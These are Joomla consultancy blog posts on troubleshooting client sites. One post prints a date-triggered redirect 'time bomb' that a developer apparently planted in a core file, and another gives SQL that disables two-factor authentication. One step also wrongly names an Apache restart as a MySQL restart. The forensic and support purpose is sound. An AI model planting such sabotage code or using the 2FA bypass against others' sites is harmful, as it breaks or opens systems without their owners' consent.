A client of ours called us on Monday morning and told us that he’s seeing an error message every time he visits the frontend of his Joomla website. So, we checked his website and we got the following error:

The page isn’t redirecting properly

This meant that there was an infinite loop somewhere causing the page to redirect to itself. So, we checked the .htaccess file for any suspicious redirects, but we found none. Nevertheless, we renamed the .htaccess to .htaccess.old just to make sure that the problem is not related to anything in the .htaccess file. We then visited the website, and, as we expected, we still saw the same error.

We then checked all the plugins installed on the Joomla website to see if there was an SEF plugin or any plugin that is responsible for redirecting, but we found none.

We felt that we were stuck (typically these issues are caused by either a wrong rule in the .htaccess file or an SEF plugin) – and we wanted more information about what’s really going on when someone visits the website. So, we checked the Apache logs under /usr/local/apache/domlogs/[domain-name] and we searched for our IP there (using a simple grep), and we noticed that for each page load there were 20 301 redirects (which is the default Apache limit), until we were redirected using a 303 redirect (temporary redirect) to the Error page. Unfortunately, these findings were not helpful because we knew that that was the case.

We then thought, it must be a weird system plugin causing this redirect (a plugin that we don’t know of). So, we renamed the folder system under the plugins folder to system_old, but that didn’t help: the website still showed the same error message.

We did the same thing with the content folder, maybe there is a redirect happening there, but still, nothing. We even renamed the whole plugins folder to plugins_old, thinking that it will solve the problem (or at least force the website to show an error message complaining that it’s not able to load a specific plugin), but that didn’t do anything: we had the same “The page isn’t redirecting properly” error.

At this point, we started to lean toward the hack theory. So, we logged in to the shell and we generated a list of all the modified files in the past 10 days using the following command:

find /home/[cpanel-user]/public_html -path '/home/[cpanel-user]/public_html/cache/*' -prune -o -mtime -10 -ls | grep -vE '(/cache/)'

The above just listed some images that were uploaded in the past 10 days by the website’s staff – which meant that there were no core files that were changed. However, the above shell command may not always yield accurate results, because a malicious script (once uploaded) can change the date of any file using the touch shell command. For example, to change the modification date of a file called file1.php to 90 days ago, all you need to do is to issue the following command:

touch -d "90 days ago" file1.php

So, we decided to overwrite all the Joomla core files (just in case) using our famous, super quick, super efficient method to cleanup Joomla websites. But, there was a problem, the client had many core files modified (for many reasons) and he didn’t have a list of which files were modified. So that option was out of the question…

Now our best option was to discover the hack the old, manual way: we renamed every folder under the Joomla website from foldername to foldername_old, and then tested the website after each folder renaming to see how it responds. If it crashes the same way, then this folder has nothing to do with the problem, if it crashes by complaining that there is a missing file, then this means that files in this folder are being used before (or during) the hack (in that case we have to rename back that folder to its original name).

So we renamed the folders administrator, cache, components, cli, images, language, layouts, media, modules, plugins, templates, tmp to administrator_old, cache_old, components_old, cli_old, images_old, language_old, layouts_old, media_old, modules_old, plugins_old, templates_old, tmp_old respectively. The folders includes and libraries caused the Joomla application to complain of missing files when renamed, so we had to revert back their names to what they where.

Now, it was obvious that the problem was either in the includes or in the libraries folders. We quickly checked the includes folder (this folder only has a few files), and it had nothing malicious. So now we’re left only with checking the libraries folder for anything malicious.

After a lot of hard and complicated work, we finally nailed it. It was the document.php file (located under the libraries/joomla/document folder) which had the following code in its very beginning:

defined('JPATH_PLATFORM') or die;
$ExpireDate=strtotime("10-06-2016");
$Today=strtotime(date("d-m-Y"));
if($Today > $ExpireDate)
{
	$app=JFactory::getApplication();
	$app->redirect('index.php','');
}

The above code caused the website to redirect to the homepage (causing an infinite loop) if the current date was past June 10th, 2016 (it was June 13th when we worked on this problem).

Now, we’ve seen too many Joomla hacks in our life, but this one was curious: it didn’t seem like a blind hack, it didn’t even seem like a hack at all (that’s why we published the code, because technically, it wasn’t malicious, even though realistically, it caused the client’s website to crash). It seemed as if almost one of the developers working on this website intentionally added the above code (for a mysterious reason). Maybe it was a bug – but why would a high level Joomla developer work on such a critical file?

We informed the client of our findings (of course, we removed the code from the document.php file, thus fixing the problem), and the client instructed us to investigate the issue further (which was great since we are rarely instructed to do forensics). So, we checked the Apache logs around the time the file was modified (to see whether the file was modified by an external script), but we found nothing suspicious (note that the file was last modified on May 29th, 2016 at 20:56 server time [which was EST]).

We then checked the messages file under /var/log for any FTP activity that happened during the time where the file was modified, and we found this:

May 29 20:55:28 c124c pure-ftpd: (?@[ip]) [INFO] New connection from [ip]
May 29 20:55:30 c124c pure-ftpd: (?@[ip]) [INFO] [user@domain] is now logged in
May 29 20:55:34 c124c pure-ftpd: ([user@domain]@[ip]) [NOTICE] /home/[cpanel-user]/public_html//libraries/joomla/document/document.php downloaded  (21324 bytes, 31.55KB/sec)
May 29 20:56:09 c124c pure-ftpd: ([user@domain]@[ip]) [NOTICE] /home/[cpanel-user]/public_html//libraries/joomla/document/document.php uploaded  (20250 bytes, 4.60KB/sec)

Obviously, the file modification happened using FTP by a developer working for our client. Now, of course, one might think that the developer’s FTP credentials were stolen, but we were able to confirm with our client that it wasn’t the case because the IP matched the developer’s location (and, more importantly, it matched the sender IP in the emails sent by the developer to our client).

But, what if the developer was trying to do something and the whole thing was a bug? Well, the fact that it took the developer 35 seconds to add 5 lines of code meant that he copied and pasted the code from somewhere else and the whole thing was intentional. Additionally, the logs (in the messages file) showed that the developer was working on a 3rd party extension that had nothing to do with the core document.php file.

We have to say that the client was both surprised and devastated, as he relied on that developer on many things and trusted him with his own business. The client, despite the huge stress, took the right decision by not confronting the developer with our findings (thus avoiding a potential backlash), and he smartly allocated the developer on another (low-priority) project he has, just after having us lock down all access to the website.

Unlike the client, we were not surprised because we know that there are some developers out there who are wicked, who lack basic professional ethics, and who are typically physically located outside their client’s legal jurisdiction (most of these developers are located overseas), so they can do whatever they want with zero consequences (at least for them) and for any reason (in this particular scenario, the client explained that it was possible that the developer wanted to break the website so that he can get paid for fixing it), but these developers are seemingly cheap, and there’s always a risk when it comes to cheap labor: you might be lucky and get a super developer who will do whatever you want for pennies, or you might be unlucky and get this sleazy, sneaky, wicked developer who will end up costing you much more money than a real developer.

At itoctopus, our clients love us because we are ethical Joomla developers. We are fair in our estimates, we try to save money for our clients, our code is clean and well tested, and we never have our own interests in mind when providing advice to our clients. So if you need real, honest, affordable, and professional Joomla developers, then please contact us, and we promise you that it’ll be the start of a long, rewarding, and positive business relationship!

Let’s Not Forget About Bad Joomla Programmers

Most people using Joomla are very quick to blame it (Joomla) for any hiccups/problems they see on their websites. In most cases, these people are wrong. In fact, the majority of the problems happening on Joomla websites are not technically caused by Joomla’s core, but they are caused by one of the following:

  • A change in the server environment
  • A missing library on the server or inadequate server settings
  • Ignoring security-critical Joomla updates
  • Bad Joomla programmers

In this post, we would like to focus on bad Joomla programmers, and how they negatively affect the performance of a Joomla website and the perception of Joomla by the general public. Let us start by giving you an example…

Early last week, a client of ours told us that he was seeing the Allowed memory size error on many of his website’s pages, and he emailed us an example of a link so that we can see the problem. We clicked on the link and we saw the following error:

Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 130968 bytes) in /home/[user]/public_html/libraries/joomla/database/driver/mysqli.php on line 515

Typically, fixing the Allowed memory size problem consists of just increasing the PHP memory limit in the main index.php file, or in the .htaccess file, or in the php.ini (o .user.ini file). But, no matter how much we increased the memory limit for that particular case, we still experienced the same fatal error.

We then looked closer at the error, and we noticed that it was complaining that it was running out of memory in the mysqli.php file, which meant that the error had to do with MySQL. So we looked at the MySQL slow query log, and we noticed nothing unusual, but we were still sure that there was something weird happening on MySQL, and so we enabled full logging (e.g. all the queries hiting the MySQL database server would be logged) the following way:

  • We ssh’d to the server as root.

  • We added the following code to the my.cnf file (which is located under the /etc folder):

    log = "/var/lib/mysql/all-queries.log"

  • We opened the .htaccess file located under the main directory of the website, and then we denied access to all traffic with the exception of our IP (it is not practical to allow full logging from all IPs).

  • We restarted MySQL by issuing the following shell command:

    service httpd restart

After enabling the logging of all queries, we visited the problematic link, and, in literally 5 seconds, we had 18982921 bytes in the all-queries.log file, and it was full of the following query:

SELECT parent_id,title FROM #__categories WHERE id =0

In fact, the above query was repeated 270,000 times (yes, you read that right, two hundred seventy thousand times, a bit more than a quarter of a million), and that was just after loading one page! Wow!

A quick search for the above query revealed that it was in a very poorly written custom extension (e.g. the extension was specifically written for that Joomla website), and more specifically, the query was in a recursive function which job was to find the title of the ultimate parent of a category. The problem with that function is that it lacked the most basic characteristic of a recursive function: it had no stop condition!

As programmers, we know how to write recursive functions with ease (a recursive function is a function that calls itself until a stop condition becomes true – if you are interested in programming and you want to learn more about recursive functions, then the best way to learn it is by reading the chapter on recursion in David S Touretzky’s COMMON LISP: A Gentle Introduction to Symbolic Computation), but we know that recursive functions are not for everyone. In fact, what distinguishes a real programmer from a quack one is the ability to grasp the concept of recursive functions. Obviously, whoever wrote that function was a quack developer, because his function missed the most basic concept of recursivity.

Fixing the problem simply consisted of just adding the correct stop condition to the recursive function. Ironically, after fixing the problem and informing the client of the root cause, the programmer who developed the custom extension emailed us and thanked us for fixing his code (by the way, the client told us in his first email concerning this issue that this same programmer searched for weeks for the cause of the problem but he couldn’t find it), promising the client (who was cc’d on the email) that he will pay more attention in the future. This meant that the client wanted to continue the business relationship with that programmer, despite the obvious fact that he wasn’t a real programmer. The only logical explanation to this is that this programmer was cheap, and that is the very heart of the problem affecting so many Joomla websites (especially the large ones) out there: cheap, unreliable, and unprofessional Joomla programmers.

So how can Joomla get rid of this problem?

The short answer is that it can’t: there is no way Joomla can prevent people from dealing with cheap programmers. In fact, this problem is not specific to Joomla, it is a problem that applies to any work under the IT umbrella, except that there is a general perception and skepticism in the Joomla community and userbase blaming Joomla for everything (well, not really everything, the hole in the ozone layer is blamed on hair spray and air conditioners).

The long answer is that Joomla can minimize the problem by certifying Joomla developers (this is substantially different from certifying Joomla administrators). We’re not talking about writing a simple plugin here; we’re talking about having an actual computer science university degree and a vast LAMP experience. Of course, the technicalities are sketchy at best at first glance, but, with enough resources (and maybe with forging some alliances with PHP and MySQL), Joomla can get this certification program up and running. Now, of course, this will not solve the problem, because many Joomla administrators out there want cheap labor but still expect expert work (it’s like driving a Mazda but expecting a Mercedes experience), but it is a start!

Meanwhile, if you’re looking for expert Joomla developers to fix/implement anything on your Joomla website, then look no further. We’re here to help! Just contact us and let us demonstrate to you that we’re fast, that we’re reliable, and that although we’re not cheap, we’re quite affordable!

A Quick Method to Disable 2 Factor Authentication on Joomla’s Backend

It’s been a long while since you have last updated the content of your Joomla website, but you decided, on a Sunday afternoon, to do just that.

So, you navigate to the login page of the backend of your Joomla website, and you see a curious “Secret Field” input field. You ignore it, and you just try to login with your good old username and password, but when you do that, you see the following error message:

Warning: The two factor authentication Secret Key is invalid.

You try to login again, but you see the same error, and you finally realize that you just can’t leave that “Secret Field” input field empty, but you don’t know what to put in there. So, you start searching your emails and any documents that you have for that “Secret Field”, but you find none: someone who had (and may still have) access to the backend of your Joomla website added Two Factor Authentication to the login but didn’t tell you anything about it (maybe he forgot to do that or maybe he didn’t).

Since you’re not sure who that “someone” is (or maybe you’re sure but that “someone” has gone MIA), you decide to disable that Two Factor Authentication, but you don’t know how. Luckily, we’re here to help: here’s a concise and comprehensive (no, that is not an oxymoron, we checked) guide on how to do that:

  • Login to phpMyAdmin through your WHM/cPanel/other account.

  • Select the database powering the Joomla website.

  • Run the following queries:

    UPDATE `#__extensions` SET `enabled` = '0' WHERE `name` = 'plg_twofactorauth_totp';
    UPDATE `#__extensions` SET `enabled` = '0' WHERE `name` = 'plg_twofactorauth_yubikey';

    Note: You should replace #__ with your table prefix.

  • That’s it! Close your browser and then go to the login page again and you will see that the “Secret Field” is gone.

Is there an easier way to disable the Two Factor Authentication?

Well, no, unless, of course, you can access the backend of your Joomla website with an empty “Secret Field” (or you already know what the “Secret Field” is). In that case, you can just disable it the following way:

  • Login to the Joomla backend.

  • Click on Extensions -> Plugins.

  • Under Select Type on the right side select twofactorauth.

  • Disable all the plugins that are enabled there, namely Two Factor Authentication – Google Authenticator and Two Factor Authentication – YubiKey (you can easily disable a plugin by clicking on the green checkbox next to its name).

  • That’s it!

We hope that you found our guide on disabling the Two Factor Authentication useful. If you need help with the implementation, then please contact us. We will do it for you swiftly, professionally, and affordably. You will also gain true and reliable friends in the Joomla realm!

How to Resolve the “Call to undefined function mb_split()” Fatal Error on a Joomla Website

We were commissioned yesterday morning to move a website form GoDaddy’s shared hosting to a VPS (with another company). So, we zipped the files and we exported the database from the old server, and then we extracted the files and imported the database on the new server.

We then proceeded with testing the website (after modifying the configuration settings to make them point to the database on the new server), but, the moment we loaded the website, we saw the following error:

Fatal error: Call to undefined function mb_split() in /home/[user]/public_html/components/com_roksprocket/lib/RokSprocket/Util/HTMLManipulator.php on line 36

Since we have encountered this fatal error many times before, we knew exactly what’s causing it and we knew exactly how to fix it.

So, what’s causing it?

Well, typically companies leasing VPS’s (or dedicated servers) to clients provide these VPS’s with the basic settings – so these VPS’s don’t have many Apache/PHP modules installed (they just have the very basic ones installed). Even common PHP modules are not installed, such as the Mbregex module (which stands for Multibyte Regular Expression, which is used to manipulate strings in all languages, not just Western languages), which absence is causing the fatal error.

OK, so how you can fix it?

Fixing the problem consists of merely installing the Mbregex PHP module on the VPS. Here’s a quick guide on how to do this (we are assuming you are running a WHM based VPS):

  • Go to WHM.

  • On the left side, search for EasyApache3, and then click on the EasyApache3 link.

  • Click on the wheel next to the selected profile to modify the settings.

  • Click on “Next” until you reach the “Short Options List” tab.

  • Click on “Exhaustive Options List” button (do not click on the “Exhaustive Options List” tab – the button that you should click is located at the very bottom of the page)

  • Search for Mbregex in the list and click on the checkbox next to it.

  • Click on “Save and Build” at the bottom of the page.

  • Click on “OK” on the popup window, and then click on “I understand” on the second popup (the second popup is telling you that you should not terminate the process or you may risk corrupting the Apache server installed on your host).

  • Wait for about 15 minutes and don’t do anything (it is recommended that you don’t even use your machine for anything until the process is completed).

  • Click on the “Save New Configuration” button on the final popup window (note that you must scroll down in the popup to locate this button).

  • That’s it! Your problem should be solved (we know it solved it for our client and for many other clients).

If you’re facing the same fatal error on your Joomla website after migrating to a VPS (or a dedicated server), then follow this guide and you should be all set. If this is happening to you after moving to a shared host, then you should contact your host (almost all hosts are accommodating when it comes to missing libraries, which is a good thing and a bad thing). If you think this guide is a bit too technical for your taste, or if you are running something different than WHM (such as Plesk), then please contact us. We will fix the problem for you in no time and for a super affordable fee!

GoDaddy Shared Hosting and Hacked Joomla Websites

We are having an increasing number of calls from clients asking us to fix their hacked GoDaddy shared hosted Joomla website. While many may see this as an indication that GoDaddy has many customers, we see the whole thing a bit differently.

The thing is, a few months ago, we only had a few GoDaddy hosted hacked Joomla websites to fix every month, but these days, we’re getting 3-4 a day! So, it’s not like GoDaddy’s clients jumped 30 times overnight, and it’s not like our clients jumped 30 times overnight. Something’s fishy, and, so we decided to investigate further.

It didn’t take us long to get down to the bottom of the problem, GoDaddy’s shared hosting servers all (well, at least all the ones that we have worked on) suffered from the ImageMagick vulnerability. GoDaddy, so far, has not taken the appropriate action and patched the ImageMagick exploit.

Not only that, our clients tell us that GoDaddy, when they are informed of their clients’ misfortune, try to talk them into buying a “security product” to make their websites more “secure”, essentially blaming the hack on the absence of security products installed on the website.

While we have the utmost respect for GoDaddy, we don’t think they’re doing the right thing here, one could see them as extorting money from their clients because of a server exploit that these clients cannot control.

So, what do we do when get a GoDaddy hosted hacked Joomla website?

We do the exact same thing that we do for other other hacked websites: we cleanup and secure the websites, except that at the end, we tell the client that they need to move their websites to a VPS (they can remain with GoDaddy, but they just need to move to a VPS).

We think that GoDaddy is making a mistake with their current perceived strategy of “make-the-client-pay-for-our-server-exploit”, but they are a gigantic company, and maybe they know something that we don’t, or maybe the whole thing is not intended, or maybe we are just plain wrong (and we hope so).

Whatever it is, we’re sure that GoDaddy clients are not finding it fun to get hacked. So, if you are a GoDaddy customer with a hacked Joomla website, please contact us and we’ll clean your website for you in no time and for a very affordable cost!

Resolving the Dreaded “Call to a member function getDocument() on a non-object” Error on a Joomla Website

A client called us yesterday and told us that his website was displaying the following error after a manual upgrade of his Joomla 3.1.1 website to Joomla 3.5.1:

Fatal error: Call to a member function getDocument() on a non-object in plugins/system/sef/sef.php on line 36

We then asked him, what do you mean exactly by a manual update? He said that he just downloaded Joomla 3.5.1 and then extracted it to the main directory of his Joomla 3.1.1 website. Hmmm… Typically, such an update can cause problems because Joomla’s 3.5.1 file structure is slightly different (actually “slightly” is not the right word, it’s slightly more than slightly) than that of Joomla 3.1.1.

Naturally, the first thing that we did (after asking the client if he had a backup of the full website before updating, which unfortunately he didn’t have) was that we opened the sef.php located under the plugins/system/sef folder, and we looked for the error line (39), which was this one:

$doc = $this->app->getDocument();

We did some printouts, and we discovered that $this contained a lot of data, but not $app, which was curious, since $app was a protected attribute, which meant that the parent class, JPlugin, must have it defined somewhere.

So we opened the file plugin.php, which was located under the libraries/cms/plugin folder, and we checked what was going there. We saw that it was defining $app under certain conditions, in the following code:

if (property_exists($this, 'app'))
{
	$reflection = new ReflectionClass($this);
	$appProperty = $reflection->getProperty('app');

	if ($appProperty->isPrivate() === false && is_null($this->app))
	{
		$this->app = JFactory::getApplication();
	}
}

So, in order to see if the above conditions were met, we added a die(’in condition…’); just after the first condition, but that didn’t print out. So we added die(’in file…’); at the beginning of the plugin.php file, but that didn’t print out either, we still saw the same issue, which essentially meant that the plugin.php file wasn’t even loaded at all! Curious and curiouser… How can a child class run without loading the parent class first? That’s practically impossible!

The next logical step was to confirm that the aforementioned plugin.php file was not loaded by Joomla (to make sure that we are not running into insane caching issues). In order to do that, we added the following code in the sef.php file immediately before the problematic line:

$arr = get_included_files();
print_r($arr);
die();

We then checked the website, which had a list of all the files that were loaded by the Joomla application to serve that page. We particularly searched for the file plugin.php, and we found it being loaded from this location:

libraries/joomla/plugin/

But, the file should be loaded from here:

libraries/cms/plugin

A quick check in the Joomla 3.5.1 default directory revealed that the folder libraries/joomla/plugin doesn’t even exist anymore, and that that folder was ported over from the previous Joomla installation. So, the problem was that Joomla was loading the JPlugin file from the old directory, and not from the new directory.

So, how did we fix the problem?

Fixing the problem consisted simply of deleting the folder libraries/joomla/plugin. But, we had other problems after fixing this problem, which we resolved by removing the following folders:

  • libraries/joomla/html
  • libraries/joomla/pagination
  • libraries/joomla/registry

We then had to repair the database (twice).

As you can see, fixing a botched Joomla update is not that hard (once you know how), but again, it’s always a good idea to update Joomla using the standard, recommended method (as other methods are pretty much advanced because they entail fixing fatal errors).

If you are seeing the much dreaded Call to a member function getDocument() on a non-object then most likely you are left with a folder (or a few folders) from a previous Joomla install. If you need help finding these folders, then please contact us. We will find these folders, delete them, make sure that your website works again, and we will do that for a very affordable fee!

“Error displaying the error page: Application Instantiation Error” Fatal Error on Joomla

Late this evening, a client called us and told us that, after moving his website to a new host, he was seeing the following (fatal) everywhere on his website:

Error displaying the error page: Application Instantiation Error

Typically, the above error is associated with wrong database credentials in the configuration.php file, so we tried the following: we reset the database user password in cPanel, and used the new password in the configuration.php file (after making sure that the host, the database name, and the database user were all correct), and then tested the website again, but still, we saw the same error.

We were almost confident that the problem had to do with accessing the database, and so we did the following:

  • We opened the file mysqli.php (the client was using mysqli as a database driver) located in the libraries/joomla/database/driver/ folder.

  • We removed the @ sign from the following line:

    $this->connection = @mysqli_connect(
    	$this->options['host'], $this->options['user'], $this->options['password'], null, $this->options['port'], $this->options['socket']
    );

    (Note: the @ sign suppresses any non fatal error from being displayed, which means that removing it will display the actual, real error.)

  • We loaded the website again, and this time we saw the following error:

    Warning: mysqli_connect(): (HY000/1045): Access denied for user ‘[user]‘@’localhost’ (using password: YES) in libraries/joomla/database/driver/mysqli.php on line 141

The Access denied in the above error revealed what the actual issue was: the user was not given the proper permissions to the database. So, we went back to cPanel, we clicked on MySQL databases, and then, under Add User To Database, we added the appropriate user to the Joomla database.

If you’re seeing the same error on your Joomla website, then it’s almost a certainty that it’s a database connection problem. Make sure that all your credentials are correct and also ensure that the database user has full access to the Joomla database. If the problem persists, then please contact us. We will fix it for you quickly, professionally, and affordably.

Joomla Backend Login Redirects to “Sorry” Page on WHM/cPanel

Yesterday, we were commissioned to move a large website (for a US clinic) from one server to another: we moved the files, we installed the database, we modified the configuration.php file to reflect the new server’s settings, we modified our Windows hosts file (to force the domain to point to the new IP), and then we started testing the website.

Everything worked very well, but, when trying to login to the backend of the Joomla website, we were greeted with the default WHM/cPanel Sorry 404 page. We quickly noticed that the website was being redirected from http://www.[ourclientjoomlawebsite].com to https://www.[ourclientjoomlawebsite].com/, which meant that the problem was with the secure mode of the website.

A very quick research revealed that this problem occurs when the SSL certificate is not installed on the server, which was exactly our case.

So we had 2 options: We either had to install the SSL certificate on the new server or we had to make the admin backend work in normal (non-https) mode. We chose the latter because we didn’t have the SSL certificate. Here’s what we did:

  • We logged in to phpMyAdmin.

  • We clicked on the #__modules table.

  • We searched for the module named Login that has the field client_id set to 1 (typically the id of this module is 2).

  • We changed the following string in the params field from:

    "usesecure":"1"

    to

    "usesecure":"0"

  • We saved the row (module) and then we closed the browser (note: you may need to also clear the browser cache in FireFox), and then we launched the browser and tested the login.

  • The login worked!

As you can see, solving the problem was quite easy. The alternative solution, of course, is to install the SSL certificate. But, if you don’t have to the SSL certificate, then the quick solution is the one we explained in this post. If you need help implementing this solution (or the other solution), then please contact us. We work 24/7/365, we work professionally, we work quickly, and our fees are super affordable!

How to Use Joomla’s Ajax Interface Component (com_ajax)

Last week, we were commissioned to build a tool that displays a list of state representatives on the website of a company producing soda dispensers. The tool consisted of a simple dropdown, containing all the American states, and, based on the selected state from the dropdown, the tool displayed the representatives serving the selected state.

Of course, there are many ways to do this, but we decided to do this using Ajax, but not just any Ajax; we wanted to use Joomla’s Ajax interface (yes, we know that Ajax is the same across the board, but you know what we mean).

Now, before telling you how we did it, let us explain a bit what Joomla’s Ajax interface is… You see, Ajax, at its purest and simplest form, consists of a request to a server and a response from a server, the request is made through JavaScript, and the response is sent through JavaScript, but typically, the latter is generated on a server by a PHP file (in the case of a PHP based environment). In order to avoid clutter and to stick with the MVC pattern, Joomla comes bundled with a component called Ajax Interface, which allows the programmer to get the response data from a module or a plugin. Unfortunately, many Joomla programmers out there don’t know that this component actually exists, so they create non-Joomla PHP files on the server in order to serve Ajax responses. What’s even more unfortunate, is that most of the remaining programmers that know about Joomla’s Ajax interface are intimidated by it (we have to admit we were among these people), mistakenly believing it’s a monster that is hard to work with, while the reality is the absolute opposite (and we are going to demonstrate that in this post).

So, how did we do it?

Well, the first thing that we did was create a K2 module called K2 Representatives (mod_k2_representatives), that queries the #__k2_items database for specific items where an extra field matches the value of the state passed as a GET variable in the PHP $_GET array.

The module consisted of the following 4 files:

  • index.html: An empty HTML file which should be in every Joomla folder for security reasons.

  • mod_k2_representatives.xml: This is the XML manifest of the module – standard stuff.

  • mod_k2_representatives.php: This is the main module file. It just contained the following 3 line:

    defined('_JEXEC') or die ;
    require_once (dirname(__FILE__).'/helper.php');
    $items = modK2RepresentativesHelper::getItems($params);

  • helper.php: The module helper file. This file contained just 2 methods (within the modK2RepresentativesHelper class) which handled all the logic of the module. These methods are:

    • public static function getItems(&$params, $format = ‘html’): We copied this function from the helper file of the K2 content module and we modified it to accommodate our needs. The function returned the items with extra items matching the GET state.

    • function getRepresentativesAjax(): This function called the static getItems function, and transformed the returned data into a well formatted string.

We then created a Joomla article containing the following code:

<script type="text/javascript">
var jQueryRepresentatives = jQuery.noConflict();
jQueryRepresentatives(document.body).on('change','#state',function(){
	jQueryRepresentatives.ajax({
		type: 'GET',
		url: "http://www.[ourclientjoomlawebsite].com/index.php?option=com_ajax&module=k2_representatives&format=raw&Itemid=300&method=getRepresentatives&state="+jQueryRepresentatives('#state').val(),
		success:function(data){
			jQueryRepresentatives('#results').html(data);
		},
		error:function(){
			jQueryRepresentatives('#results').html('<p class="error">An error was encountered while retrieving the representatives from the database.</p>');
		}
	});
});</script>

<form action="" method="post"><strong>State:</strong>
	<select id="state">
		<option value="NA">Select a State</option>
		<option value="AL">ALABAMA</option>
		<option value="AK">ALASKA</option>
		<option value="AZ">ARIZONA</option>
		...
	</select>
</form>
<div id="results"> </div>

Now – the essence of the above is this line:

url: "http://www.[ourclientjoomlawebsite].com/index.php?option=com_ajax&module=k2_representatives&format=raw&Itemid=300&method=getRepresentatives&state="+jQueryRepresentatives('#state').val()

  • The module GET variable should contain the name (not the title) of the module to get the data from. In our case, it is k2_representatives (notice that it doesn’t contain the mod part, e.g., it is k2_representatives and not mod_k2_representatives). If you provide the name of a module that doesn’t exist (or is disabled), then the Ajax interface will return the following error:

    LogicException: Module mod_k2_representatives is not published, you do not have access to it, or it’s not assigned to the current menu item.

  • The Itemid GET variable should contain the ID of the menu item that this module is assigned to. The Itemid must be correct – or else you will get the same error as when you provide a wrong/disabled module name.

  • The method GET variable should contain the name of the function that the Joomla Ajax interface should call in order to grab the data from. Now, you may notice that we don’t have a function called getRepresentatives, but, in the helper file, we have a function called getRepresentativesAjax. The thing is, the Joomla Ajax interface insists that any function it calls must end with Ajax. That is OK, because it is possibly done this way in order to avoid conflicts and to allow the developers to have a different output for the Ajax interface (than that of the standard module output). The odd thing is that the Ajax method should not contain the word Ajax (well, technically, it can, but in that case, the method in the helper file should be called something like getRepresentativesAjaxAjax [yes - you should have the word Ajax twice in your method]). So if, in your Ajax call, the method name is myFunction, then you should have in your helper file a function called myFunctionAjax, if you don’t have such function, then you will see the following error:

    LogicException: Method myFunctionAjax does not exist.

  • The state GET variable grabs the current selected state for data filtering.

  • The rest of the GET parameters are static and should not be changed. You should always have option=com_ajax and format=raw in your Ajax request.

The above, as you can imagine, worked as a charm, and the client was happy with the clean end result, and we were happy with the clean way it was done.

If you want to use Ajax on your Joomla website, then follow the above guide and you will not be disappointed. If you need help with the implementation, then please contact us. We are always available, we will finish your job quickly, and our fees are very affordable!

“Login denied! Your account has either been blocked or you have not activated it yet.” Error When Logging in to a Joomla Website

This evening, a new client from Florida approached us with what seemed to be a very easy issue: whenever he tried to login to the backend of his Joomla website with his super user (aka super administrator) account, he was seeing the following error:

Login denied! Your account has either been blocked or you have not activated it yet.

We were happy because after weeks of doing a lot of hard and complex Joomla labor, we were rewarded with a very simple task! We thought that fixing this problem simply consisted of doing the following:

  • Logging in to phpMyAdmin.

  • Clicking on the #__users table (where #__ is the table prefix used by the Joomla website).

  • Searching for the user in question and then changing the value of block from 1 to 0.

But, our hopes of an easy job faded quickly when we saw that the #__users table consisted only of 2 users (admin and admin2), and neither of them was blocked.

So we started debugging this issue by trying to find out the conditions under which the Joomla engine would throw the above error. We noticed that the block logic was only performed in the User – Joomla plugin – specifically in the following lines of the onUserLogin function which is located in the joomla.php file, which is in turn located in the plugins/user/joomla folder:

if ($instance->get('block') == 1){
	$this->app->enqueueMessage(JText::_('JERROR_NOLOGIN_BLOCKED'), 'warning');
	return false;
}

So we thought: let’s, at the beginning of the onUserLogin function (after $instance = $this->_getUser($user, $options);), add the following code…

print_r($instance);
die();

…and then try to login. And so we did, but, to our surprise, we still saw the same error when we tried to login. At this point, we started doubting whether we were working on the right website, and so we added a die() at the beginning of the main index.php file (located under the administrator folder), and the website indeed, died, which meant we were working on the right folder. So this only meant one thing, there is another, non-core plugin, throwing the exact error… Our job now was to find that plugin…

But we didn’t: We created a script to search every single file on the Joomla website to find that error message, yet we only found it in the aforementioned joomla.php file. We then looked into the extensions table in the database, and we checked all the authentication plugins, and we noticed that the plg_authentication_joomla plugin was disabled. Aha!

So we changed the enabled field of the plg_authentication_joomla plugin from 0 to 1 and we disabled the plg_authentication_cookie plugin (which was enabled, for some reason), and then we we closed the browser, and tried to login again, and it worked! (Note that due to some aggressive caching you may have to wait a few minutes before trying to login after re-enabling the plugin).

But how come the “print_r($instance);” didn’t work?

The answer is server side caching. In fact, to prove our point, we re-added the print_r statement followed by the die(); statement, and then we tested it after fixing the problem, and still we weren’t able to see that $instance printed. But, after a few minutes, the mysterious cache expired and we were able to see it. (Note: we noticed that that type of caching is the trait of a cheap, mainstream host, and the Joomla website that we were working on resided on such host.)

But what caused this?

We’re not really sure – but we suspect that someone with a super user login to the Joomla website disabled the Authentication – Joomla plugin either intentionally or unintentionally.

So, if you’re trying to login to your own Joomla website and you’re seeing the Login denied! Your account has been blocked… error, then check if the account is not really blocked in phpMyAdmin (as described above). If it’s not blocked, then check if the Authentication – Joomla plugin is enabled in phpMyAdmin. If it isn’t, then you should enable it. If it is, then please contact us. We will fix the problem for you in no time and for a super affordable fee.

ImageMagick and the Onslaught of Joomla Hacks

As discussed in a previous post, we have been experiencing an onslaught of Joomla 3.5.1 hacks for a few weeks now, and although we were able to clean and protect the hacked websites that we were asked to fix, we were not able to get to the root cause of the problem.

We did, however, suspect that the problem lied within the latest version of Joomla (3.5.1 at the time of writing this post), since the absolute majority of the hacked websites were 3.5.1. This morning, however, we discovered that we were wrong (and we were glad that we were wrong), and that the problem had nothing to do with Joomla, and everything to do with ImageMagick (a Linux software mainly used for image conversion).

So, what happened this morning?

Well, very early in the morning today, we got a call from a new client asking us to immediately clean his company’s website, as it was clearly hacked. The Joomla website didn’t have a single 3rd party extension installed (it was even using the Beez3 template) and it was powered by the latest version (3.5.1). For us, this was another solid proof that Joomla 3.5.1 was vulnerable. So, we fixed the website, we secured it, and then, after being granted permission from the client, we ran some forensics to discover how the website was hacked in the first place.

As soon as we started with the forensics, we noticed that the website was on a shared hosting, which was intriguing, since the absolute majority of the websites that we fixed in the past few weeks resided on a shared host. Of course, it was not logical to say that the cause of the problem is shared hosting, but that was enough to change the direction of our investigation. So we emailed a few of our clients for whom we cleaned Joomla 3.5.1 websites in the past few weeks asking them for permission to check their (server) environment. Luckily, they OK’d our request very quickly (within minutes).

It didn’t take us long to discover that ImageMagick was the root cause of the problem – all the environments with hacked Joomla 3.5.1 websites had ImageMagick installed. In case you don’t know, it was revealed in CVE-2016-3714 that the latest version of ImageMagick had a major exploit allowing for remote code execution (this is very bad), which meant that any application residing on a server with ImageMagick installed was extremely vulnerable, and that was the root cause of why all those Joomla websites were hacked.

So, what is the solution to this problem?

